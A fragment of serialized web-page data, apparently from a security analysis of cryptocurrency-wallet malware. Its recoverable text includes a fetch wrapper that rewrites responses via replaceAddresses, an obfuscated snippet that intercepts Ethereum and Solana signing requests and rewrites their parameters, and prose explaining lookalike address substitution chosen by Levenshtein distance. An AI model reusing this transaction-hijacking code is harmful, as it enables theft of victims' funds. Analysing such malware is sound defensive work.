style":959},[100759],{"type":30,"value":1503},{"type":24,"tag":930,"props":100761,"children":100762},{"class":932,"line":984},[100763,100767,100772,100776,100780,100785,100789,100793,100797,100801,100805,100809,100813],{"type":24,"tag":930,"props":100764,"children":100765},{"style":937},[100766],{"type":30,"value":39276},{"type":24,"tag":930,"props":100768,"children":100769},{"style":1023},[100770],{"type":30,"value":100771}," originalResponse",{"type":24,"tag":930,"props":100773,"children":100774},{"style":1158},[100775],{"type":30,"value":6137},{"type":24,"tag":930,"props":100777,"children":100778},{"style":1079},[100779],{"type":30,"value":39299},{"type":24,"tag":930,"props":100781,"children":100782},{"style":1023},[100783],{"type":30,"value":100784}," originalFetch",{"type":24,"tag":930,"props":100786,"children":100787},{"style":959},[100788],{"type":30,"value":436},{"type":24,"tag":930,"props":100790,"children":100791},{"style":1002},[100792],{"type":30,"value":570},{"type":24,"tag":930,"props":100794,"children":100795},{"style":959},[100796],{"type":30,"value":1010},{"type":24,"tag":930,"props":100798,"children":100799},{"style":937},[100800],{"type":30,"value":1722},{"type":24,"tag":930,"props":100802,"children":100803},{"style":959},[100804],{"type":30,"value":962},{"type":24,"tag":930,"props":100806,"children":100807},{"style":1158},[100808],{"type":30,"value":12699},{"type":24,"tag":930,"props":100810,"children":100811},{"style":1023},[100812],{"type":30,"value":41316},{"type":24,"tag":930,"props":100814,"children":100815},{"style":959},[100816],{"type":30,"value":1278},{"type":24,"tag":930,"props":100818,"children":100819},{"class":932,"line":993},[100820,100824,100829,100833,100837,100841,100846,100850,100854,100858,100863,100867,100871,100875],{"type":24,"tag":930,"props":100821,"children":100822},{"style":937},[100823],{"type":30,"value":39276},{"type":24,"tag":930,"props":100825,"children":100826},{"style":1023},[100827],{"type":30,"value":100828}," contentType",{"type":24,"tag":930,"props":100830,"children":100831},{"style":1158},[100832],{"type":30,"value":6137},{"type":24,"tag":930,"props":100834,"children":100835},{"style":1023},[100836],{"type":30,"value":100771},{"type":24,"tag":930,"props":100838,"children":100839},{"style":959},[100840],{"type":30,"value":436},{"type":24,"tag":930,"props":100842,"children":100843},{"style":1023},[100844],{"type":30,"value":100845},"headers",{"type":24,"tag":930,"props":100847,"children":100848},{"style":959},[100849],{"type":30,"value":436},{"type":24,"tag":930,"props":100851,"children":100852},{"style":1002},[100853],{"type":30,"value":19454},{"type":24,"tag":930,"props":100855,"children":100856},{"style":959},[100857],{"type":30,"value":1010},{"type":24,"tag":930,"props":100859,"children":100860},{"style":1270},[100861],{"type":30,"value":100862},"'Content-Type'",{"type":24,"tag":930,"props":100864,"children":100865},{"style":959},[100866],{"type":30,"value":5579},{"type":24,"tag":930,"props":100868,"children":100869},{"style":1158},[100870],{"type":30,"value":25520},{"type":24,"tag":930,"props":100872,"children":100873},{"style":1270},[100874],{"type":30,"value":34929},{"type":24,"tag":930,"props":100876,"children":100877},{"style":959},[100878],{"type":30,"value":5539},{"type":24,"tag":930,"props":100880,"children":100881},{"class":932,"line":1057},[100882,100886,100890],{"type":24,"tag":930,"props":100883,"children":100884},{"style":937},[100885],{"type":30,"value":10965},{"type":24,"tag":930,"props":100887,"children":100888},{"style":1023},[100889],{"type":30,"value":18208},{"type":24,"tag":930,"props":100891,"children":100892},{"style":959},[100893],{"type":30,"value":5539},{"type":24,"tag":930,"props":100895,"children":100896},{"class":932,"line":1066},[100897,100901,100905,100910,100914,100918,100922,100927],{"type":24,"tag":930,"props":100898,"children":100899},{"style":1079},[100900],{"type":30,"value":34486},{"type":24,"tag":930,"props":100902,"children":100903},{"style":959},[100904],{"type":30,"value":1087},{"type":24,"tag":930,"props":100906,"children":100907},{"style":1023},[100908],{"type":30,"value":100909},"contentType",{"type":24,"tag":930,"props":100911,"children":100912},{"style":959},[100913],{"type":30,"value":436},{"type":24,"tag":930,"props":100915,"children":100916},{"style":1002},[100917],{"type":30,"value":38270},{"type":24,"tag":930,"props":100919,"children":100920},{"style":959},[100921],{"type":30,"value":1010},{"type":24,"tag":930,"props":100923,"children":100924},{"style":1270},[100925],{"type":30,"value":100926},"'application/json'",{"type":24,"tag":930,"props":100928,"children":100929},{"style":959},[100930],{"type":30,"value":4542},{"type":24,"tag":930,"props":100932,"children":100933},{"class":932,"line":1075},[100934,100938,100942,100946,100950,100954,100958,100962,100966],{"type":24,"tag":930,"props":100935,"children":100936},{"style":1023},[100937],{"type":30,"value":46320},{"type":24,"tag":930,"props":100939,"children":100940},{"style":1158},[100941],{"type":30,"value":6137},{"type":24,"tag":930,"props":100943,"children":100944},{"style":1079},[100945],{"type":30,"value":39299},{"type":24,"tag":930,"props":100947,"children":100948},{"style":1023},[100949],{"type":30,"value":100771},{"type":24,"tag":930,"props":100951,"children":100952},{"style":959},[100953],{"type":30,"value":436},{"type":24,"tag":930,"props":100955,"children":100956},{"style":1002},[100957],{"type":30,"value":18523},{"type":24,"tag":930,"props":100959,"children":100960},{"style":959},[100961],{"type":30,"value":33259},{"type":24,"tag":930,"props":100963,"children":100964},{"style":1002},[100965],{"type":30,"value":37086},{"type":24,"tag":930,"props":100967,"children":100968},{"style":959},[100969],{"type":30,"value":1310},{"type":24,"tag":930,"props":100971,"children":100972},{"class":932,"line":1122},[100973,100977,100981],{"type":24,"tag":930,"props":100974,"children":100975},{"style":959},[100976],{"type":30,"value":34560},{"type":24,"tag":930,"props":100978,"children":100979},{"style":1079},[100980],{"type":30,"value":2317},{"type":24,"tag":930,"props":100982,"children":100983},{"style":959},[100984],{"type":30,"value":981},{"type":24,"tag":930,"props":100986,"children":100987},{"class":932,"line":1131},[100988,100992,100996,101000,101004,101008,101012,101016,101020],{"type":24,"tag":930,"props":100989,"children":100990},{"style":1023},[100991],{"type":30,"value":46320},{"type":24,"tag":930,"props":100993,"children":100994},{"style":1158},[100995],{"type":30,"value":6137},{"type":24,"tag":930,"props":100997,"children":100998},{"style":1079},[100999],{"type":30,"value":39299},{"type":24,"tag":930,"props":101001,"children":101002},{"style":1023},[101003],{"type":30,"value":100771},{"type":24,"tag":930,"props":101005,"children":101006},{"style":959},[101007],{"type":30,"value":436},{"type":24,"tag":930,"props":101009,"children":101010},{"style":1002},[101011],{"type":30,"value":18523},{"type":24,"tag":930,"props":101013,"children":101014},{"style":959},[101015],{"type":30,"value":33259},{"type":24,"tag":930,"props":101017,"children":101018},{"style":1002},[101019],{"type":30,"value":30},{"type":24,"tag":930,"props":101021,"children":101022},{"style":959},[101023],{"type":30,"value":1310},{"type":24,"tag":930,"props":101025,"children":101026},{"class":932,"line":1144},[101027],{"type":24,"tag":930,"props":101028,"children":101029},{"style":959},[101030],{"type":30,"value":8984},{"type":24,"tag":930,"props":101032,"children":101033},{"class":932,"line":1169},[101034,101038,101043,101047,101052,101056,101060],{"type":24,"tag":930,"props":101035,"children":101036},{"style":937},[101037],{"type":30,"value":39276},{"type":24,"tag":930,"props":101039,"children":101040},{"style":1023},[101041],{"type":30,"value":101042}," processedData",{"type":24,"tag":930,"props":101044,"children":101045},{"style":1158},[101046],{"type":30,"value":6137},{"type":24,"tag":930,"props":101048,"children":101049},{"style":1002},[101050],{"type":30,"value":101051}," replaceAddresses",{"type":24,"tag":930,"props":101053,"children":101054},{"style":959},[101055],{"type":30,"value":1010},{"type":24,"tag":930,"props":101057,"children":101058},{"style":1023},[101059],{"type":30,"value":6817},{"type":24,"tag":930,"props":101061,"children":101062},{"style":959},[101063],{"type":30,"value":1278},{"type":24,"tag":930,"props":101065,"children":101066},{"class":932,"line":1191},[101067,101071,101076],{"type":24,"tag":930,"props":101068,"children":101069},{"style":937},[101070],{"type":30,"value":39276},{"type":24,"tag":930,"props":101072,"children":101073},{"style":1023},[101074],{"type":30,"value":101075}," finalResponseText",{"type":24,"tag":930,"props":101077,"children":101078},{"style":1158},[101079],{"type":30,"value":38943},{"type":24,"tag":930,"props":101081,"children":101082},{"class":932,"line":1223},[101083,101088,101092,101096,101101,101106,101110,101114,101118,101122,101126,101130,101135],{"type":24,"tag":930,"props":101084,"children":101085},{"style":937},[101086],{"type":30,"value":101087},"    typeof",{"type":24,"tag":930,"props":101089,"children":101090},{"style":1023},[101091],{"type":30,"value":101042},{"type":24,"tag":930,"props":101093,"children":101094},{"style":1158},[101095],{"type":30,"value":34514},{"type":24,"tag":930,"props":101097,"children":101098},{"style":1270},[101099],{"type":30,"value":101100}," 'string'",{"type":24,"tag":930,"props":101102,"children":101103},{"style":1158},[101104],{"type":30,"value":101105}," ?",{"type":24,"tag":930,"props":101107,"children":101108},{"style":1023},[101109],{"type":30,"value":101042},{"type":24,"tag":930,"props":101111,"children":101112},{"style":1158},[101113],{"type":30,"value":38205},{"type":24,"tag":930,"props":101115,"children":101116},{"style":1023},[101117],{"type":30,"value":40616},{"type":24,"tag":930,"props":101119,"children":101120},{"style":959},[101121],{"type":30,"value":436},{"type":24,"tag":930,"props":101123,"children":101124},{"style":1002},[101125],{"type":30,"value":42320},{"type":24,"tag":930,"props":101127,"children":101128},{"style":959},[101129],{"type":30,"value":1010},{"type":24,"tag":930,"props":101131,"children":101132},{"style":1023},[101133],{"type":30,"value":101134},"processedData",{"type":24,"tag":930,"props":101136,"children":101137},{"style":959},[101138],{"type":30,"value":1278},{"type":24,"tag":930,"props":101140,"children":101141},{"class":932,"line":1281},[101142,101146,101151,101155,101159,101164,101168,101173],{"type":24,"tag":930,"props":101143,"children":101144},{"style":937},[101145],{"type":30,"value":39276},{"type":24,"tag":930,"props":101147,"children":101148},{"style":1023},[101149],{"type":30,"value":101150}," finalResponse",{"type":24,"tag":930,"props":101152,"children":101153},{"style":1158},[101154],{"type":30,"value":6137},{"type":24,"tag":930,"props":101156,"children":101157},{"style":937},[101158],{"type":30,"value":35023},{"type":24,"tag":930,"props":101160,"children":101161},{"style":1002},[101162],{"type":30,"value":101163}," Response",{"type":24,"tag":930,"props":101165,"children":101166},{"style":959},[101167],{"type":30,"value":1010},{"type":24,"tag":930,"props":101169,"children":101170},{"style":1023},[101171],{"type":30,"value":101172},"finalResponseText",{"type":24,"tag":930,"props":101174,"children":101175},{"style":959},[101176],{"type":30,"value":51971},{"type":24,"tag":930,"props":101178,"children":101179},{"class":932,"line":1313},[101180,101185,101189,101193,101198],{"type":24,"tag":930,"props":101181,"children":101182},{"style":1023},[101183],{"type":30,"value":101184},"    status:",{"type":24,"tag":930,"props":101186,"children":101187},{"style":1023},[101188],{"type":30,"value":100771},{"type":24,"tag":930,"props":101190,"children":101191},{"style":959},[101192],{"type":30,"value":436},{"type":24,"tag":930,"props":101194,"children":101195},{"style":1023},[101196],{"type":30,"value":101197},"status",{"type":24,"tag":930,"props":101199,"children":101200},{"style":959},[101201],{"type":30,"value":2832},{"type":24,"tag":930,"props":101203,"children":101204},{"class":932,"line":1335},[101205,101210,101214,101218,101223],{"type":24,"tag":930,"props":101206,"children":101207},{"style":1023},[101208],{"type":30,"value":101209},"    statusText:",{"type":24,"tag":930,"props":101211,"children":101212},{"style":1023},[101213],{"type":30,"value":100771},{"type":24,"tag":930,"props":101215,"children":101216},{"style":959},[101217],{"type":30,"value":436},{"type":24,"tag":930,"props":101219,"children":101220},{"style":1023},[101221],{"type":30,"value":101222},"statusText",{"type":24,"tag":930,"props":101224,"children":101225},{"style":959},[101226],{"type":30,"value":2832},{"type":24,"tag":930,"props":101228,"children":101229},{"class":932,"line":1376},[101230,101235,101239,101243,101247],{"type":24,"tag":930,"props":101231,"children":101232},{"style":1023},[101233],{"type":30,"value":101234},"    headers:",{"type":24,"tag":930,"props":101236,"children":101237},{"style":1023},[101238],{"type":30,"value":100771},{"type":24,"tag":930,"props":101240,"children":101241},{"style":959},[101242],{"type":30,"value":436},{"type":24,"tag":930,"props":101244,"children":101245},{"style":1023},[101246],{"type":30,"value":100845},{"type":24,"tag":930,"props":101248,"children":101249},{"style":959},[101250],{"type":30,"value":2832},{"type":24,"tag":930,"props":101252,"children":101253},{"class":932,"line":1418},[101254],{"type":24,"tag":930,"props":101255,"children":101256},{"style":959},[101257],{"type":30,"value":101258},"  });\n",{"type":24,"tag":930,"props":101260,"children":101261},{"class":932,"line":1438},[101262,101266,101270],{"type":24,"tag":930,"props":101263,"children":101264},{"style":1079},[101265],{"type":30,"value":42286},{"type":24,"tag":930,"props":101267,"children":101268},{"style":1023},[101269],{"type":30,"value":101150},{"type":24,"tag":930,"props":101271,"children":101272},{"style":959},[101273],{"type":30,"value":5539},{"type":24,"tag":930,"props":101275,"children":101276},{"class":932,"line":1479},[101277],{"type":24,"tag":930,"props":101278,"children":101279},{"style":959},[101280],{"type":30,"value":19679},{"type":24,"tag":478,"props":101282,"children":101283},{"start":993},[101284],{"type":24,"tag":100,"props":101285,"children":101286},{},[101287],{"type":30,"value":101288},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":24,"tag":920,"props":101290,"children":101292},{"code":101291,"language":34457,"meta":7,"className":34455,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[101293],{"type":24,"tag":156,"props":101294,"children":101295},{"__ignoreMap":7},[101296,101375,101386,101443,101483,101508,101523,101534,101568,101601,101620,101647,101655,101666,101706,101735,101763,101770,101810,101853,101897,101912,101951,101958,101982,101989],{"type":24,"tag":930,"props":101297,"children":101298},{"class":932,"line":933},[101299,101303,101307,101312,101316,101320,101324,101329,101333,101338,101342,101347,101351,101355,101359,101363,101367,101371],{"type":24,"tag":930,"props":101300,"children":101301},{"style":1079},[101302],{"type":30,"value":18683},{"type":24,"tag":930,"props":101304,"children":101305},{"style":959},[101306],{"type":30,"value":1087},{"type":24,"tag":930,"props":101308,"children":101309},{"style":1023},[101310],{"type":30,"value":101311},"_0x2c3d7e",{"type":24,"tag":930,"props":101313,"children":101314},{"style":959},[101315],{"type":30,"value":436},{"type":24,"tag":930,"props":101317,"children":101318},{"style":1023},[101319],{"type":30,"value":41400},{"type":24,"tag":930,"props":101321,"children":101322},{"style":1158},[101323],{"type":30,"value":34514},{"type":24,"tag":930,"props":101325,"children":101326},{"style":1270},[101327],{"type":30,"value":101328}," 'eth_sendTransaction'",{"type":24,"tag":930,"props":101330,"children":101331},{"style":1158},[101332],{"type":30,"value":17291},{"type":24,"tag":930,"props":101334,"children":101335},{"style":1023},[101336],{"type":30,"value":101337}," _0x2c3d7e",{"type":24,"tag":930,"props":101339,"children":101340},{"style":959},[101341],{"type":30,"value":436},{"type":24,"tag":930,"props":101343,"children":101344},{"style":1023},[101345],{"type":30,"value":101346},"params",{"type":24,"tag":930,"props":101348,"children":101349},{"style":1158},[101350],{"type":30,"value":17291},{"type":24,"tag":930,"props":101352,"children":101353},{"style":1023},[101354],{"type":30,"value":101337},{"type":24,"tag":930,"props":101356,"children":101357},{"style":959},[101358],{"type":30,"value":436},{"type":24,"tag":930,"props":101360,"children":101361},{"style":1023},[101362],{"type":30,"value":101346},{"type":24,"tag":930,"props":101364,"children":101365},{"style":959},[101366],{"type":30,"value":6849},{"type":24,"tag":930,"props":101368,"children":101369},{"style":1242},[101370],{"type":30,"value":1818},{"type":24,"tag":930,"props":101372,"children":101373},{"style":959},[101374],{"type":30,"value":43712},{"type":24,"tag":930,"props":101376,"children":101377},{"class":932,"line":984},[101378,101382],{"type":24,"tag":930,"props":101379,"children":101380},{"style":1079},[101381],{"type":30,"value":100414},{"type":24,"tag":930,"props":101383,"children":101384},{"style":959},[101385],{"type":30,"value":981},{"type":24,"tag":930,"props":101387,"children":101388},{"class":932,"line":993},[101389,101393,101398,101402,101407,101411,101415,101419,101423,101427,101431,101435,101439],{"type":24,"tag":930,"props":101390,"children":101391},{"style":937},[101392],{"type":30,"value":54757},{"type":24,"tag":930,"props":101394,"children":101395},{"style":1023},[101396],{"type":30,"value":101397}," _0x39ad21",{"type":24,"tag":930,"props":101399,"children":101400},{"style":1158},[101401],{"type":30,"value":6137},{"type":24,"tag":930,"props":101403,"children":101404},{"style":1002},[101405],{"type":30,"value":101406}," _0x1089ae",{"type":24,"tag":930,"props":101408,"children":101409},{"style":959},[101410],{"type":30,"value":1010},{"type":24,"tag":930,"props":101412,"children":101413},{"style":1023},[101414],{"type":30,"value":101311},{"type":24,"tag":930,"props":101416,"children":101417},{"style":959},[101418],{"type":30,"value":436},{"type":24,"tag":930,"props":101420,"children":101421},{"style":1023},[101422],{"type":30,"value":101346},{"type":24,"tag":930,"props":101424,"children":101425},{"style":959},[101426],{"type":30,"value":6849},{"type":24,"tag":930,"props":101428,"children":101429},{"style":1242},[101430],{"type":30,"value":1818},{"type":24,"tag":930,"props":101432,"children":101433},{"style":959},[101434],{"type":30,"value":26162},{"type":24,"tag":930,"props":101436,"children":101437},{"style":937},[101438],{"type":30,"value":7110},{"type":24,"tag":930,"props":101440,"children":101441},{"style":959},[101442],{"type":30,"value":1278},{"type":24,"tag":930,"props":101444,"children":101445},{"class":932,"line":1057},[101446,101451,101455,101459,101463,101467,101471,101475,101479],{"type":24,"tag":930,"props":101447,"children":101448},{"style":1023},[101449],{"type":30,"value":101450},"    _0x2c3d7e",{"type":24,"tag":930,"props":101452,"children":101453},{"style":959},[101454],{"type":30,"value":436},{"type":24,"tag":930,"props":101456,"children":101457},{"style":1023},[101458],{"type":30,"value":101346},{"type":24,"tag":930,"props":101460,"children":101461},{"style":959},[101462],{"type":30,"value":6849},{"type":24,"tag":930,"props":101464,"children":101465},{"style":1242},[101466],{"type":30,"value":1818},{"type":24,"tag":930,"props":101468,"children":101469},{"style":959},[101470],{"type":30,"value":11770},{"type":24,"tag":930,"props":101472,"children":101473},{"style":1158},[101474],{"type":30,"value":1161},{"type":24,"tag":930,"props":101476,"children":101477},{"style":1023},[101478],{"type":30,"value":101397},{"type":24,"tag":930,"props":101480,"children":101481},{"style":959},[101482],{"type":30,"value":5539},{"type":24,"tag":930,"props":101484,"children":101485},{"class":932,"line":1066},[101486,101490,101494,101498,101503],{"type":24,"tag":930,"props":101487,"children":101488},{"style":959},[101489],{"type":30,"value":34560},{"type":24,"tag":930,"props":101491,"children":101492},{"style":1079},[101493],{"type":30,"value":4760},{"type":24,"tag":930,"props":101495,"children":101496},{"style":959},[101497],{"type":30,"value":1087},{"type":24,"tag":930,"props":101499,"children":101500},{"style":1023},[101501],{"type":30,"value":101502},"_0x226343",{"type":24,"tag":930,"props":101504,"children":101505},{"style":959},[101506],{"type":30,"value":101507},") {}\n",{"type":24,"tag":930,"props":101509,"children":101510},{"class":932,"line":1075},[101511,101515,101519],{"type":24,"tag":930,"props":101512,"children":101513},{"style":959},[101514],{"type":30,"value":49963},{"type":24,"tag":930,"props":101516,"children":101517},{"style":1079},[101518],{"type":30,"value":2317},{"type":24,"tag":930,"props":101520,"children":101521},{"style":959},[101522],{"type":30,"value":981},{"type":24,"tag":930,"props":101524,"children":101525},{"class":932,"line":1122},[101526,101530],{"type":24,"tag":930,"props":101527,"children":101528},{"style":1079},[101529],{"type":30,"value":34486},{"type":24,"tag":930,"props":101531,"children":101532},{"style":959},[101533],{"type":30,"value":81645},{"type":24,"tag":930,"props":101535,"children":101536},{"class":932,"line":1131},[101537,101542,101546,101550,101554,101558,101563],{"type":24,"tag":930,"props":101538,"children":101539},{"style":959},[101540],{"type":30,"value":101541},"    (",{"type":24,"tag":930,"props":101543,"children":101544},{"style":1023},[101545],{"type":30,"value":101311},{"type":24,"tag":930,"props":101547,"children":101548},{"style":959},[101549],{"type":30,"value":436},{"type":24,"tag":930,"props":101551,"children":101552},{"style":1023},[101553],{"type":30,"value":41400},{"type":24,"tag":930,"props":101555,"children":101556},{"style":1158},[101557],{"type":30,"value":34514},{"type":24,"tag":930,"props":101559,"children":101560},{"style":1270},[101561],{"type":30,"value":101562}," 'solana_signTransaction'",{"type":24,"tag":930,"props":101564,"children":101565},{"style":1158},[101566],{"type":30,"value":101567}," ||\n",{"type":24,"tag":930,"props":101569,"children":101570},{"class":932,"line":1144},[101571,101576,101580,101584,101588,101593,101597],{"type":24,"tag":930,"props":101572,"children":101573},{"style":1023},[101574],{"type":30,"value":101575},"      _0x2c3d7e",{"type":24,"tag":930,"props":101577,"children":101578},{"style":959},[101579],{"type":30,"value":436},{"type":24,"tag":930,"props":101581,"children":101582},{"style":1023},[101583],{"type":30,"value":41400},{"type":24,"tag":930,"props":101585,"children":101586},{"style":1158},[101587],{"type":30,"value":34514},{"type":24,"tag":930,"props":101589,"children":101590},{"style":1270},[101591],{"type":30,"value":101592}," 'solana_signAndSendTransaction'",{"type":24,"tag":930,"props":101594,"children":101595},{"style":959},[101596],{"type":30,"value":5579},{"type":24,"tag":930,"props":101598,"children":101599},{"style":1158},[101600],{"type":30,"value":86886},{"type":24,"tag":930,"props":101602,"children":101603},{"class":932,"line":1169},[101604,101608,101612,101616],{"type":24,"tag":930,"props":101605,"children":101606},{"style":1023},[101607],{"type":30,"value":101450},{"type":24,"tag":930,"props":101609,"children":101610},{"style":959},[101611],{"type":30,"value":436},{"type":24,"tag":930,"props":101613,"children":101614},{"style":1023},[101615],{"type":30,"value":101346},{"type":24,"tag":930,"props":101617,"children":101618},{"style":1158},[101619],{"type":30,"value":55773},{"type":24,"tag":930,"props":101621,"children":101622},{"class":932,"line":1191},[101623,101627,101631,101635,101639,101643],{"type":24,"tag":930,"props":101624,"children":101625},{"style":1023},[101626],{"type":30,"value":101450},{"type":24,"tag":930,"props":101628,"children":101629},{"style":959},[101630],{"type":30,"value":436},{"type":24,"tag":930,"props":101632,"children":101633},{"style":1023},[101634],{"type":30,"value":101346},{"type":24,"tag":930,"props":101636,"children":101637},{"style":959},[101638],{"type":30,"value":6849},{"type":24,"tag":930,"props":101640,"children":101641},{"style":1242},[101642],{"type":30,"value":1818},{"type":24,"tag":930,"props":101644,"children":101645},{"style":959},[101646],{"type":30,"value":14879},{"type":24,"tag":930,"props":101648,"children":101649},{"class":932,"line":1223},[101650],{"type":24,"tag":930,"props":101651,"children":101652},{"style":959},[101653],{"type":30,"value":101654},"  ) {\n",{"type":24,"tag":930,"props":101656,"children":101657},{"class":932,"line":1281},[101658,101662],{"type":24,"tag":930,"props":101659,"children":101660},{"style":1079},[101661],{"type":30,"value":73067},{"type":24,"tag":930,"props":101663,"children":101664},{"style":959},[101665],{"type":30,"value":981},{"type":24,"tag":930,"props":101667,"children":101668},{"class":932,"line":1313},[101669,101673,101678,101682,101686,101690,101694,101698,101702],{"type":24,"tag":930,"props":101670,"children":101671},{"style":937},[101672],{"type":30,"value":11185},{"type":24,"tag":930,"props":101674,"children":101675},{"style":1023},[101676],{"type":30,"value":101677}," _0x5ad975",{"type":24,"tag":930,"props":101679,"children":101680},{"style":1158},[101681],{"type":30,"value":6137},{"type":24,"tag":930,"props":101683,"children":101684},{"style":1023},[101685],{"type":30,"value":101337},{"type":24,"tag":930,"props":101687,"children":101688},{"style":959},[101689],{"type":30,"value":436},{"type":24,"tag":930,"props":101691,"children":101692},{"style":1023},[101693],{"type":30,"value":101346},{"type":24,"tag":930,"props":101695,"children":101696},{"style":959},[101697],{"type":30,"value":6849},{"type":24,"tag":930,"props":101699,"children":101700},{"style":1242},[101701],{"type":30,"value":1818},{"type":24,"tag":930,"props":101703,"children":101704},{"style":959},[101705],{"type":30,"value":34666},{"type":24,"tag":930,"props":101707,"children":101708},{"class":932,"line":1335},[101709,101713,101717,101722,101726,101731],{"type":24,"tag":930,"props":101710,"children":101711},{"style":1079},[101712],{"type":30,"value":42374},{"type":24,"tag":930,"props":101714,"children":101715},{"style":959},[101716],{"type":30,"value":1087},{"type":24,"tag":930,"props":101718,"children":101719},{"style":1023},[101720],{"type":30,"value":101721},"_0x5ad975",{"type":24,"tag":930,"props":101723,"children":101724},{"style":959},[101725],{"type":30,"value":436},{"type":24,"tag":930,"props":101727,"children":101728},{"style":1023},[101729],{"type":30,"value":101730},"transaction",{"type":24,"tag":930,"props":101732,"children":101733},{"style":959},[101734],{"type":30,"value":1503},{"type":24,"tag":930,"props":101736,"children":101737},{"class":932,"line":1376},[101738,101743,101747,101751,101755,101759],{"type":24,"tag":930,"props":101739,"children":101740},{"style":1023},[101741],{"type":30,"value":101742},"        _0x5ad975",{"type":24,"tag":930,"props":101744,"children":101745},{"style":1158},[101746],{"type":30,"value":6137},{"type":24,"tag":930,"props":101748,"children":101749},{"style":1023},[101750],{"type":30,"value":101677},{"type":24,"tag":930,"props":101752,"children":101753},{"style":959},[101754],{"type":30,"value":436},{"type":24,"tag":930,"props":101756,"children":101757},{"style":1023},[101758],{"type":30,"value":101730},{"type":24,"tag":930,"props":101760,"children":101761},{"style":959},[101762],{"type":30,"value":5539},{"type":24,"tag":930,"props":101764,"children":101765},{"class":932,"line":1418},[101766],{"type":24,"tag":930,"props":101767,"children":101768},{"style":959},[101769],{"type":30,"value":15771},{"type":24,"tag":930,"props":101771,"children":101772},{"class":932,"line":1438},[101773,101777,101782,101786,101790,101794,101798,101802,101806],{"type":24,"tag":930,"props":101774,"children":101775},{"style":937},[101776],{"type":30,"value":34639},{"type":24,"tag":930,"props":101778,"children":101779},{"style":1023},[101780],{"type":30,"value":101781}," _0x5dbe63",{"type":24,"tag":930,"props":101783,"children":101784},{"style":1158},[101785],{"type":30,"value":6137},{"type":24,"tag":930,"props":101787,"children":101788},{"style":1002},[101789],{"type":30,"value":101406},{"type":24,"tag":930,"props":101791,"children":101792},{"style":959},[101793],{"type":30,"value":1010},{"type":24,"tag":930,"props":101795,"children":101796},{"style":1023},[101797],{"type":30,"value":101721},{"type":24,"tag":930,"props":101799,"children":101800},{"style":959},[101801],{"type":30,"value":962},{"type":24,"tag":930,"props":101803,"children":101804},{"style":937},[101805],{"type":30,"value":1790},{"type":24,"tag":930,"props":101807,"children":101808},{"style":959},[101809],{"type":30,"value":1278},{"type":24,"tag":930,"props":101811,"children":101812},{"class":932,"line":1479},[101813,101817,101821,101825,101829,101833,101837,101841,101845,101849],{"type":24,"tag":930,"props":101814,"children":101815},{"style":1079},[101816],{"type":30,"value":42374},{"type":24,"tag":930,"props":101818,"children":101819},{"style":959},[101820],{"type":30,"value":1087},{"type":24,"tag":930,"props":101822,"children":101823},{"style":1023},[101824],{"type":30,"value":101311},{"type":24,"tag":930,"props":101826,"children":101827},{"style":959},[101828],{"type":30,"value":436},{"type":24,"tag":930,"props":101830,"children":101831},{"style":1023},[101832],{"type":30,"value":101346},{"type":24,"tag":930,"props":101834,"children":101835},{"style":959},[101836],{"type":30,"value":6849},{"type":24,"tag":930,"props":101838,"children":101839},{"style":1242},[101840],{"type":30,"value":1818},{"type":24,"tag":930,"props":101842,"children":101843},{"style":959},[101844],{"type":30,"value":53438},{"type":24,"tag":930,"props":101846,"children":101847},{"style":1023},[101848],{"type":30,"value":101730},{"type":24,"tag":930,"props":101850,"children":101851},{"style":959},[101852],{"type":30,"value":1503},{"type":24,"tag":930,"props":101854,"children":101855},{"class":932,"line":1506},[101856,101861,101865,101869,101873,101877,101881,101885,101889,101893],{"type":24,"tag":930,"props":101857,"children":101858},{"style":1023},[101859],{"type":30,"value":101860},"        _0x2c3d7e",{"type":24,"tag":930,"props":101862,"children":101863},{"style":959},[101864],{"type":30,"value":436},{"type":24,"tag":930,"props":101866,"children":101867},{"style":1023},[101868],{"type":30,"value":101346},{"type":24,"tag":930,"props":101870,"children":101871},{"style":959},[101872],{"type":30,"value":6849},{"type":24,"tag":930,"props":101874,"children":101875},{"style":1242},[101876],{"type":30,"value":1818},{"type":24,"tag":930,"props":101878,"children":101879},{"style":959},[101880],{"type":30,"value":53438},{"type":24,"tag":930,"props":101882,"children":101883},{"style":1023},[101884],{"type":30,"value":101730},{"type":24,"tag":930,"props":101886,"children":101887},{"style":1158},[101888],{"type":30,"value":6137},{"type":24,"tag":930,"props":101890,"children":101891},{"style":1023},[101892],{"type":30,"value":101781},{"type":24,"tag":930,"props":101894,"children":101895},{"style":959},[101896],{"type":30,"value":5539},{"type":24,"tag":930,"props":101898,"children":101899},{"class":932,"line":1525},[101900,101904,101908],{"type":24,"tag":930,"props":101901,"children":101902},{"style":959},[101903],{"type":30,"value":42027},{"type":24,"tag":930,"props":101905,"children":101906},{"style":1079},[101907],{"type":30,"value":2317},{"type":24,"tag":930,"props":101909,"children":101910},{"style":959},[101911],{"type":30,"value":981},{"type":24,"tag":930,"props":101913,"children":101914},{"class":932,"line":1569},[101915,101919,101923,101927,101931,101935,101939,101943,101947],{"type":24,"tag":930,"props":101916,"children":101917},{"style":1023},[101918],{"type":30,"value":101860},{"type":24,"tag":930,"props":101920,"children":101921},{"style":959},[101922],{"type":30,"value":436},{"type":24,"tag":930,"props":101924,"children":101925},{"style":1023},[101926],{"type":30,"value":101346},{"type":24,"tag":930,"props":101928,"children":101929},{"style":959},[101930],{"type":30,"value":6849},{"type":24,"tag":930,"props":101932,"children":101933},{"style":1242},[101934],{"type":30,"value":1818},{"type":24,"tag":930,"props":101936,"children":101937},{"style":959},[101938],{"t